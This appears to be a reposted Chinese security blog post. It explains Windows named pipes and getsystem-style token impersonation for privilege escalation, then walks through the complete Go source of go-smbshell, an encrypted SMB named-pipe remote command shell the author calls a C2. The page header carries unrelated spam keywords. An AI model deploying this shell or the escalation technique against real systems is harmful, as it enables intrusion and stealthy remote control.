乡下人产国偷v产偷v自拍,国产午夜片在线观看,婷婷成人亚洲综合国产麻豆,久久综合给合久久狠狠狠9

  • <output id="e9wm2"></output>
    <s id="e9wm2"><nobr id="e9wm2"><ins id="e9wm2"></ins></nobr></s>

    • 分享

      使用命名管道通訊的命令執(zhí)行工具

       非著名問(wèn)天 2021-04-24

      管道簡(jiǎn)述

      管道并不是什么新鮮事物,它是一項(xiàng)古老的技術(shù),可以在很多操作系統(tǒng)(Unix、Linux、Windows 等)中找到,其本質(zhì)是是用于進(jìn)程間通信的共享內(nèi)存區(qū)域,確切的的說(shuō)應(yīng)該是線程間的通信方法(IPC)。
      顧名思義,管道是一個(gè)有兩端的對(duì)象。一個(gè)進(jìn)程向管道寫(xiě)入信息,而另外一個(gè)進(jìn)程從管道讀取信息。進(jìn)程可以從這個(gè)對(duì)象的一個(gè)端口寫(xiě)數(shù)據(jù),從另一個(gè)端口讀數(shù)據(jù)。創(chuàng)建管道的進(jìn)程稱為管道服務(wù)器(Pipe Server),而連接到這個(gè)管道的進(jìn)程稱為管道客戶端(Pipe Client)。
      在 Windows 系統(tǒng)中,存在兩種類型的管道: “匿名管道”(Anonymous pipes)和“命名管道”(Named pipes)。匿名管道是基于字符和半雙工的(即單向);命名管道則強(qiáng)大的多,它是面向消息和全雙工的,同時(shí)還允許網(wǎng)絡(luò)通信,用于創(chuàng)建客戶端/服務(wù)器系統(tǒng)。

      這兩種管道的主要區(qū)別:

      命名管道:可用于網(wǎng)絡(luò)通信;可通過(guò)名稱引用;支持多客戶端連接;支持雙向通信;支持異步重疊 I/O 。


      匿名管道:?jiǎn)蜗蛲ㄐ?,只能本地使用。由于匿名管道單向通信,且只能在本地使用的特性,一般用于程序輸入輸出的重定向,如一些后門(mén)程序獲取 cmd 內(nèi)容等等,在實(shí)際攻擊過(guò)程中利用不過(guò),因此就不過(guò)多展開(kāi)討論,有興趣可以自行檢索相關(guān)信息。

      命名管道

      定義與特點(diǎn)命名管道是一個(gè)具有名稱,可在同一臺(tái)計(jì)算機(jī)的不同進(jìn)程之間或在跨越一個(gè)網(wǎng)絡(luò)的不同計(jì)算機(jī)的不同進(jìn)程之間,支持可靠的、單向或雙向的數(shù)據(jù)通信管道。


      命名管道的所有實(shí)例擁有相同的名稱,但是每個(gè)實(shí)例都有其自己的緩沖區(qū)和句柄,用來(lái)為不同客戶端提供獨(dú)立的管道。
      任何進(jìn)程都可以訪問(wèn)命名管道,并接受安全權(quán)限的檢查,通過(guò)命名管道使相關(guān)的或不相關(guān)的進(jìn)程之間的通訊變得異常簡(jiǎn)單。
      用命名管道來(lái)設(shè)計(jì)跨計(jì)算機(jī)應(yīng)用程序?qū)嶋H非常簡(jiǎn)單,并不需要事先深入掌握底層網(wǎng)絡(luò)傳送協(xié)議(如 TCP、UDP、IP、IPX)的知識(shí)。這是由于命名管道利用了微軟網(wǎng)絡(luò)提供者(MSNP)重定向器通過(guò)同一個(gè)網(wǎng)絡(luò)在各進(jìn)程間建立通信,這樣一來(lái),應(yīng)用程序便不必關(guān)心網(wǎng)絡(luò)協(xié)議的細(xì)節(jié)。

      任何進(jìn)程都可以成為服務(wù)端和客戶端雙重角色,這使得點(diǎn)對(duì)點(diǎn)雙向通訊成為可能。在這里,管道服務(wù)端進(jìn)程指的是創(chuàng)建命名管道的一端,而管道客戶端指的是連接到命名管道某個(gè)實(shí)例的一端。

      總結(jié)一下:

      1.命名管道的名稱在本系統(tǒng)中是唯一的。

      2.命名管道可以被任意符合權(quán)限要求的進(jìn)程訪問(wèn)。

      3.命名管道只能在本地創(chuàng)建。

      4.命名管道是雙向的,所以兩個(gè)進(jìn)程可以通過(guò)同一管道進(jìn)行交互。

      5.多個(gè)獨(dú)立的管道實(shí)例可以用一個(gè)名稱來(lái)命名。例如幾個(gè)客戶端可以使用名稱相同的管道與同一個(gè)服務(wù)器進(jìn)行并發(fā)通信。

      6.命名管道的客戶端可以是本地進(jìn)程(本地訪問(wèn):\.pipePipeName)或者是遠(yuǎn)程進(jìn)程(訪問(wèn)遠(yuǎn)程: \ServerName\pipePipeName)。

      7.命名管道使用比匿名管道靈活,服務(wù)端、客戶端可以是任意進(jìn)程,匿名管道一般情況下用于父子進(jìn)程通訊。

      查看管道列表

      在 windows 系統(tǒng)中,列出管道列表的方法有很多。這里列舉幾種常見(jiàn)的查看方式。

      powershell

      使用 powershell 列出管道列表需要區(qū)分版本,V3 以下版本的 powershell 只能使用:

      [System.IO.Directory]::GetFiles('\\.\\pipe\\')

      圖片

      V3 及以上版本的 powershell 還可以使用:

      Get-ChildItem \\.\pipe\

      圖片

      chrome
      使用 chrome 查看管道列表,只需在地址欄輸入,注:部分系統(tǒng)可能不支持 chrome 查看管道列表

      file://.//pipe//

      圖片

      其他工具


      可以使用Process Explorer的Find-Find Handle or DLL功能查找名為DeviceNamedPipe

      圖片

      或者還可以使用 Sysinternals 工具包中的 pipelist.exe 等工具。

      圖片

      在windows 中命名管道的通信方式是:

      1.創(chuàng)建命名管道 --> 2.連接命名管道 --> 3.讀寫(xiě)命名管道

      創(chuàng)建

      管道服務(wù)器無(wú)法在另一臺(tái)計(jì)算機(jī)上創(chuàng)建管道,因此 CreateNamedPipe 必須使用句點(diǎn).作為服務(wù)器名稱,如以下示例所示。

      \\.\pipe\PipeName

      管道名稱字符串可以包含反斜杠以外的任何字符,包括數(shù)字和特殊字符。整個(gè)管道名稱字符串最多可以包含 256 個(gè)字符。管道名稱不區(qū)分大小寫(xiě)。
      服務(wù)端的整個(gè)創(chuàng)建過(guò)程如下:

      (一)服務(wù)端進(jìn)程調(diào)用 CreateNamedPipe 函數(shù)來(lái)創(chuàng)建一個(gè)有名稱的命名管道,在創(chuàng)建命名管道的時(shí)候必須指定一個(gè)命名管道名稱(pipe name)。
      因?yàn)?Windows 允許同一個(gè)本地的命名管道名稱有多個(gè)命名管道實(shí)例,所以,服務(wù)器進(jìn)程在調(diào)用 CreateNamedPipe 函數(shù)時(shí)必須指定最大允許的實(shí)例數(shù)(0 -255),如果 CreateNamedPipe 函數(shù)成功返回后,服務(wù)器進(jìn)程得到一個(gè)指向一個(gè)命名管道實(shí)例的句柄。
      (二)然后,服務(wù)器進(jìn)程就可以調(diào)用 ConnectNamedPipe 來(lái)等待客戶的連接請(qǐng)求,這個(gè) ConnectNamedPipe 既支持同步形式,又支持異步形式,若服務(wù)器進(jìn)程以同步形式調(diào)用 ConnectNamedPipe 函數(shù),(同步方式也就是如果沒(méi)有得到客戶端的連接請(qǐng)求,則會(huì)一直等到有客戶端的連接請(qǐng)求)那么,當(dāng)該函數(shù)返回時(shí),客戶端與服務(wù)器之間的命名管道連接也就已經(jīng)建立起來(lái)了。
      (三)在已經(jīng)建立了連接的命名管道實(shí)例中,服務(wù)端進(jìn)程就會(huì)得到一個(gè)指向該管道實(shí)例的句柄,這個(gè)句柄稱之為服務(wù)端句柄。

      管道的訪問(wèn)方式相當(dāng)于指定管道服務(wù)端句柄的讀寫(xiě)訪問(wèn),下表列出了可以使用 CreateNamedPipe 指定的每種訪問(wèn)方式的等效常規(guī)訪問(wèn)權(quán)限:

      圖片

      如果管道服務(wù)器使用 PIPE_ACCESS_INBOUND 創(chuàng)建管道,則該管道對(duì)于管道服務(wù)器是只讀的,對(duì)于管道客戶端是只寫(xiě)的。
      如果管道服務(wù)器使用 PIPE_ACCESS_OUTBOUND 創(chuàng)建管道,則該管道對(duì)于管道服務(wù)器是只寫(xiě)的,對(duì)于管道客戶端是只讀的。
      用 PIPE_ACCESS_DUPLEX 創(chuàng)建的管道對(duì)于管道服務(wù)器和管道客戶端都是可以讀/寫(xiě)的。
      同時(shí),管道客戶端使用 CreateFile 函數(shù)連接到命名管道時(shí)必須在 dwDesiredAccess 參數(shù)中指定一個(gè)和管道服務(wù)端(創(chuàng)建管道時(shí)指定的訪問(wèn)模式)相兼容的訪問(wèn)模式。
      例如,當(dāng)管道服務(wù)端創(chuàng)建管道時(shí)指定了 PIPE_ACCESS_OUTBOUND 訪問(wèn)模式,那么,管道客戶端就必須指定 GENERIC_READ 訪問(wèn)模式。
      更多內(nèi)容內(nèi)容可以參考,微軟官方說(shuō)明:

      https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipe-open-modes

      模擬令牌

      命名管道還有一種常用的操作,就是通過(guò)模擬令牌,達(dá)到提權(quán)的目的。大家都用過(guò)msf里面的getsystem命令,其中就有一個(gè)模塊支持通過(guò)模擬令牌從本地管理員權(quán)限提升到system權(quán)限。

      圖片

      我們首先需要了解如何模擬另一個(gè)用戶。模擬是Windows提供的一種方法,在該方法中,進(jìn)程可以模擬另一個(gè)用戶的安全內(nèi)容。例如,如果FTP服務(wù)器的進(jìn)程允許用戶進(jìn)行身份驗(yàn)證,并且只希望允許訪問(wèn)特定用戶擁有的文件,則該進(jìn)程可以模擬該用戶帳戶并允許Windows強(qiáng)制實(shí)施。
      Windows提供了這樣的API,ImpersonateNamedPipeClient API調(diào)用是getsystem模塊功能的關(guān)鍵。
      ImpersonateNamedPipeClient允許命名管道模擬客戶端的服務(wù)器端。調(diào)用此函數(shù)時(shí),命名管道文件系統(tǒng)會(huì)更改調(diào)用進(jìn)程的線程,以開(kāi)始模擬從管道讀取的最后一條消息的安全內(nèi)容。只有管道的服務(wù)器端可以調(diào)用此函數(shù)。
      例如,如果屬于“受害者”的進(jìn)程連接并寫(xiě)入屬于“攻擊者”的命名管道,則攻擊者可以調(diào)用ImpersonateNamedPipeClient模擬“受害者”的令牌,從而模擬該用戶。進(jìn)程必須擁有SeImpersonatePrivilege特權(quán)(身份驗(yàn)證后模擬客戶端)。默認(rèn)情況下,此特權(quán)僅對(duì)許多高特權(quán)用戶可用

      圖片

      getsystem工作方式:

      1.首先getsystem會(huì)創(chuàng)建一個(gè)新的windows服務(wù),并以local system權(quán)限運(yùn)行,在啟動(dòng)時(shí)連接到命名管道。

      2.getsystem再產(chǎn)生一個(gè)進(jìn)程,該進(jìn)程創(chuàng)建一個(gè)命名管道并等待服務(wù)的連接。

      3.Windows服務(wù)啟動(dòng)并連接到產(chǎn)生的進(jìn)程的命名管道。

      4.進(jìn)程接收連接,并調(diào)用ImpersonateNamedPipeClient,通過(guò)模擬令牌獲取system權(quán)限。

      Go實(shí)現(xiàn)命名管道流量通信源碼學(xué)習(xí)

      這個(gè)項(xiàng)目是通過(guò)命名管道來(lái)進(jìn)行流量傳輸,并且是通過(guò)AES來(lái)對(duì)流量加密。

      https://github.com/neox41/go-smbshell

      目錄結(jié)構(gòu)如下:

      - agent    - agent.go   #定義了兩個(gè)方法,一個(gè)是Connect用來(lái)連接服務(wù)器                    Command用來(lái)連接成功之后進(jìn)行命令執(zhí)行。

      - cmd - client - main.go # 客戶端入口 - server - main.go # 服務(wù)端入口
      - config - config.go # 定義了aes加密的key 和 PipeName
      - exec - command.go # 用來(lái)執(zhí)行命令,調(diào)用os/exec來(lái)執(zhí)行系統(tǒng)命令
      - listener - smb.go # 實(shí)現(xiàn)了服務(wù)端進(jìn)行命名管道監(jiān)聽(tīng)
      - transport - communication.go # 實(shí)現(xiàn)了AES加密,傳入msg和key即可
      - vendor - github.com - mervick - aes-everywhere - gopkg.in - natefinch - npip.v2 #這個(gè)是實(shí)現(xiàn)了pipe通訊的包

      首先看config里面的config.go,這個(gè)比較簡(jiǎn)單,也就是定了PipeName和AES加密的Key

      package config

      // 定義PipeName 為 gopipeconst ( PipeName = 'gopipe')



      //這個(gè)是定義aes的keyvar ( Key string)

      transport 包里面的communication.go,這個(gè)是對(duì)傳送的消息進(jìn)行AES256加密,這里調(diào)用了github里面aes-everywhere的這個(gè)包,用法如下。對(duì)于Go原生的AES加密,這個(gè)只要傳入明文密文加Key即可對(duì)其加解密。

      https://github.com/mervick/aes-everywhere

      import 'github.com/mervick/aes-everywhere/go/aes256'

      // encryptionencrypted := aes256.Encrypt('TEXT', 'PASSWORD')

      // decryptiondecrypted := aes256.Decrypt(encrypted, 'PASSWORD')

      communication.go里面的實(shí)現(xiàn)就是調(diào)用config并且把config.Key作為Key傳入到Decoder/Encoder進(jìn)行加解密。

      package transport

      import ( 'go-smbshell/config'

      'github.com/mervick/aes-everywhere/go/aes256')

      // 對(duì)傳輸?shù)牧髁窟M(jìn)行AES加密,這個(gè)方法是調(diào)用aes-everywhere來(lái)調(diào)用 aes256 加密,傳入message和key即可func Decoder(encodedMessage string) (cleartextMessage string) { cleartextMessage = aes256.Decrypt(encodedMessage, config.Key) return}

      func Encoder(cleartextMessage string) (encodedMessage string) { encodedMessage = aes256.Encrypt(cleartextMessage, config.Key) return}

      exec包里面的 command.go 實(shí)現(xiàn)了Shell方法,調(diào)用os/exec來(lái)執(zhí)行命令并且輸出出來(lái)。

      package exec

      import ( 'os/exec')

      // 定義 Shell執(zhí)行命令,連接成功之后就可以調(diào)用這個(gè)方法來(lái)執(zhí)行命令func Shell(args string) string { cmd := exec.Command('cmd.exe', '/c', args) out, err := cmd.CombinedOutput() if err != nil { return err.Error() } return string(out)}

      listener 包 里面的 smb.go 實(shí)現(xiàn)了服務(wù)端進(jìn)行命名管道監(jiān)聽(tīng)和對(duì)連接來(lái)的客戶端進(jìn)行處理,并且需要。這里實(shí)現(xiàn)命名管道通訊是調(diào)用了npipe,github地址如下。

      https://github.com/natefinch/npipe

      在官方文檔的例子中,有寫(xiě)出建立監(jiān)聽(tīng)的代碼。和網(wǎng)絡(luò)編程差不多,這里就是監(jiān)聽(tīng)本地,并且?guī)螾ipeName即可,本地進(jìn)程(本地訪問(wèn):\.pipePipeName)。

      npipe.Listen(`\\.\pipe\mypipename`)

      監(jiān)聽(tīng)功能創(chuàng)建服務(wù)器:

      ln, err := npipe.Listen(`\\.\pipe\mypipename`)if err != nil { // handle error}for { conn, err := ln.Accept() if err != nil { // handle error continue } go handleConnection(conn)}

      源代碼如下,本質(zhì)上和網(wǎng)絡(luò)編程的服務(wù)器方的代碼編寫(xiě)差不多。

      package listener

      import ( 'bufio' 'fmt' 'log' 'net' 'strings'

      'go-smbshell/config' 'go-smbshell/exec' 'go-smbshell/transport'

      'gopkg.in/natefinch/npipe.v2')

      //開(kāi)始監(jiān)聽(tīng)pipe,這里只要加入PipeName即可,接下來(lái)的操作就和網(wǎng)絡(luò)編程差不多了func Start() error { ln, err := npipe.Listen(fmt.Sprintf('\\\\.\\pipe\\%s', config.PipeName)) if err != nil { return err } for { log.Println('Wait for client...') //使用pipe的Listen來(lái)進(jìn)行監(jiān)聽(tīng)并且等待客戶端連接 conn, err := ln.Accept() //如果連接不成功的話就會(huì)continue等待下一個(gè)連接 if err != nil { log.Println(err.Error()) continue } defer ln.Close() log.Println('Agent connected') //連接成功之后就go一個(gè)匿名的協(xié)程來(lái)對(duì)客戶端的反饋進(jìn)行操作 go func() { defer conn.Close() for { r := bufio.NewReader(conn) commandE, err := r.ReadString('\n') if err != nil { continue } //介紹到客戶端的請(qǐng)求數(shù)據(jù)并且對(duì)其進(jìn)行解密 command := transport.Decoder(commandE) log.Println(fmt.Sprintf('Asked to run: %s', command)) //如果命令是close的話就會(huì)推出程序 if command == 'close' { break } //TrimSpace函數(shù)刪除了Unicode定義的所有前和尾空格 command = strings.TrimSpace(command) //對(duì)客戶端返回回來(lái)的命令進(jìn)行解密和處理之后在go一個(gè)協(xié)程來(lái)對(duì)其命令進(jìn)行執(zhí)行操作。 go func(conn net.Conn) { output := exec.Shell(command) //對(duì)服務(wù)器返回的命令執(zhí)行結(jié)果進(jìn)行加密,在放到conn里面進(jìn)行發(fā)送 if _, err := fmt.Fprintln(conn, transport.Encoder(fmt.Sprintf('Output for %s:\n%s', command, output))); err != nil { log.Println(err.Error()) } }(conn) } }() } return nil}

      需要注意的是npipe.v2 包作者已經(jīng)給出了相關(guān)的導(dǎo)入方法,所以這里的包分子是需要按照作者給出的gopkg.in/natefinch/npipe.v2 來(lái)進(jìn)行創(chuàng)建在導(dǎo)入

      圖片

      agent包里面的agent.go,這個(gè)包是對(duì)客戶的操作的實(shí)現(xiàn)。這個(gè)包的代碼里面需要有調(diào)用npipe.Dial()方法。該方法是連接Pipe管道即遠(yuǎn)程進(jìn)程(訪問(wèn)遠(yuǎn)程:\ServerName\pipePipeName)

      npipe.Dial(fmt.Sprintf('\\\\%s\\pipe\\%s', target, config.PipeName))

      當(dāng)連接到了Pipe命名管道之后就會(huì)調(diào)用Command()方法來(lái)發(fā)送命令和獲取命令。

      package agent

      import ( 'bufio' 'fmt' 'go-smbshell/config' 'go-smbshell/transport' 'net'

      'gopkg.in/natefinch/npipe.v2')

      var ( Conn net.Conn PipeName string Target string)

      //使用 npipe 來(lái)進(jìn)行連接通訊,流量都包裹在smb流量中,并且進(jìn)行aes256加密func Connect(target string) error { var err error // 連接方法就是 \\\\target\\pipe\\config.PipeName // 例如\\\\192.168.1.110\\pipe\\config.PipeName,這個(gè)就是里面smb流量連接192.168.1.110 Conn, err = npipe.Dial(fmt.Sprintf('\\\\%s\\pipe\\%s', target, config.PipeName)) if err != nil { return err } PipeName, Target = config.PipeName, target return nil}



      func Command(command string) { //利用Fprintln將加密之后的command放入到Conn中 if _, err := fmt.Fprintln(Conn, transport.Encoder(command)); err != nil { fmt.Println(err.Error()) return } //從連接中獲取數(shù)據(jù),并且放入到output中。由于output是進(jìn)行加密的,然后在進(jìn)行解密即可。 r := bufio.NewReader(Conn) output, err := r.ReadString('\n') if err != nil { fmt.Println(err.Error()) return } fmt.Println(transport.Decoder(output))}

      cmd包里面有server和client,這兩個(gè)即使服務(wù)端和客戶端了。下面就是客戶端的源代碼。首先需要在命令行傳入兩個(gè)參數(shù),一個(gè)是連接的IP,一個(gè)就是AES加密的Key。接著在調(diào)用agent.Connect()方法來(lái)連接命名管道。

      下面的這一行代碼就是從os.Stdin 也就是終端輸入中獲取需要執(zhí)行的命令。

      reader := bufio.NewReader(os.Stdin)

      接著下面的代碼就是挺簡(jiǎn)單的了,拿到終端輸入的需要執(zhí)行的命令之后進(jìn)行for循環(huán),需要用戶來(lái)循環(huán)操作進(jìn)入一個(gè)交互式的模式,最后調(diào)用agent.Command()方法,該方法實(shí)現(xiàn)了發(fā)送和回顯執(zhí)行命令的結(jié)果。

      package main

      import ( 'bufio' 'fmt' 'log' 'os' 'strings'

      'go-smbshell/agent' 'go-smbshell/config')

      func main() { if len(os.Args) < 3 { fmt.Println(fmt.Sprintf('Usage: %s', os.Args[0])) os.Exit(1) } target := os.Args[1] config.Key = os.Args[2] if err := agent.Connect(os.Args[1]); err != nil { log.Panic(err) } log.Println(fmt.Sprintf('Connected to %s', target)) reader := bufio.NewReader(os.Stdin) for { fmt.Print('cmd >> ') userInput, _ := reader.ReadString('\n') userInput = strings.TrimSpace(strings.Replace(userInput, '\n', '', -1)) if len(userInput) <= 1 { continue } if userInput == 'exit' { os.Exit(1) } agent.Command(userInput) }}

      server包里面實(shí)現(xiàn)的就比較簡(jiǎn)單了,調(diào)用 listener.Start(),因?yàn)橐呀?jīng)實(shí)現(xiàn)了監(jiān)聽(tīng)和處理客戶端請(qǐng)求了。只需要傳入對(duì)于的AES加密的Key即可。

      package main

      import ( 'fmt' 'log' 'os'

      'go-smbshell/config' 'go-smbshell/listener')

      func main() { if len(os.Args) < 2 { fmt.Println(fmt.Sprintf('Usage: %s', os.Args[0])) os.Exit(1) } config.Key = os.Args[1] log.Println('Starting the listener...') if err := listener.Start(); err != nil { log.Panic(err) }}

      這樣就已經(jīng)實(shí)現(xiàn)完成了利用命名管道進(jìn)行通訊的C/S架構(gòu)的C2控制了。

      圖片

      不顯示中文的話只需要切換重點(diǎn)的編碼即可,輸入chcp65001即可顯示中文。

      圖片

      使用Wireshark來(lái)進(jìn)行抓包可以查看到,他的流量其實(shí)走的都是SMB協(xié)議,并且他對(duì)里面執(zhí)行的內(nèi)容進(jìn)行了AES加密??梢钥吹较聢D,這里有連接到命名管道,并且顯示了連接的PipeName,這個(gè)在config.go里面定義為了gopipe

      圖片

      圖片

        本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購(gòu)買(mǎi)等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
        轉(zhuǎn)藏 分享 獻(xiàn)花(0

        0條評(píng)論

        發(fā)表

        請(qǐng)遵守用戶 評(píng)論公約

        類似文章 更多